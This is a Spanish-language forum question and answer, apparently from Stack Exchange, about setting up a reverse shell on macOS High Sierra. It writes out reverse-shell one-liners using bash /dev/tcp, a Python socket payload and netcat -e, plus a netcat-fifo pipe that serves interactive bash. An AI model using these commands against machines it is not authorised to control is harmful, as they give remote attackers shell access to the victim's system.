¿Crear shell inversa usando High Sierra?

2

Estoy intentando crear un oyente de shell inverso utilizando High Sierra pero nada parece funcionar.

El comando de bash simplemente se bloquea en el terminal y se agota el tiempo de espera.

bash -i >& /dev/tcp/0.0.0.0/8080 0>&1

Los errores del comando python con "Conexión rechazada" cuando se usa python o python v2.7.

python -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("0.0.0.0",8080));os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

los errores del comando netcat con "nc: opción no válida -e"

nc -e /bin/bash 0.0.0.0 8080

He intentado otras soluciones que he encontrado en línea pero tienes la idea ...

¿Es posible crear una shell inversa (preferiblemente con acceso a bash) utilizando High Sierra?

especificaciones:

sh-3.2# system_profiler SPSoftwareDataType 
Software:

    System Software Overview:

      System Version: macOS 10.13.4 (17E199)
      Kernel Version: Darwin 17.5.0
      Boot Volume: lily
      Boot Mode: Normal
      Computer Name: lily’s MacBook Air
      User Name: System Administrator (root)
      Secure Virtual Memory: Enabled
      System Integrity Protection: Enabled
      Time since boot: 2:03
    
pregunta lily 08.05.2018 - 22:09

1 respuesta

4

Si entiendo correctamente, desea conectarse a su máquina High Sierra desde una fuente externa a través de algo como netcat (nc), enviar comandos a bash y ver la respuesta.

Hay formas más seguras y sencillas de hacerlo usando ssh, pero suponiendo que esto sea una especie de truco de desarrollo o experimento, aquí se explica cómo puede hacer lo que está pidiendo.

Mi respuesta se basa en una respuesta que encontré en otra parte de SE ( enlace ), que a su vez se basa en otras SO / SE respuestas.

Primero haz un fifo:

mkfifo myfifo

Luego comience 'nc' usando el fifo como su entrada, canalizando su salida para bash, y redirigiendo la salida de bash al fifo:

nc -l 127.0.0.1 8080 < myfifo | /bin/bash -i > myfifo 2>&1

(El indicador '-i' para bash indica un shell interactivo, y puede que no sea conveniente para este caso de uso).

Desde el dispositivo remoto (en mis pruebas, yo mismo):

nc 127.0.0.1 8080

Si desea invertir los roles, es decir, la máquina de High Sierra está estableciendo la conexión con el dispositivo remoto y le da acceso al dispositivo remoto para que bash en el host de HS, mueva la bandera de escucha (-l). Por lo tanto, el dispositivo remoto iniciaría netcat primero en modo de escucha:

nc -l 127.0.0.1 8080

Luego, el host de High Sierra se conectaría al dispositivo remoto:

nc 127.0.0.1 8080 < myfifo | /bin/bash -i > myfifo 2>&1
    
respondido por el Bryan Scott 08.05.2018 - 23:12

Lea otras preguntas en las etiquetas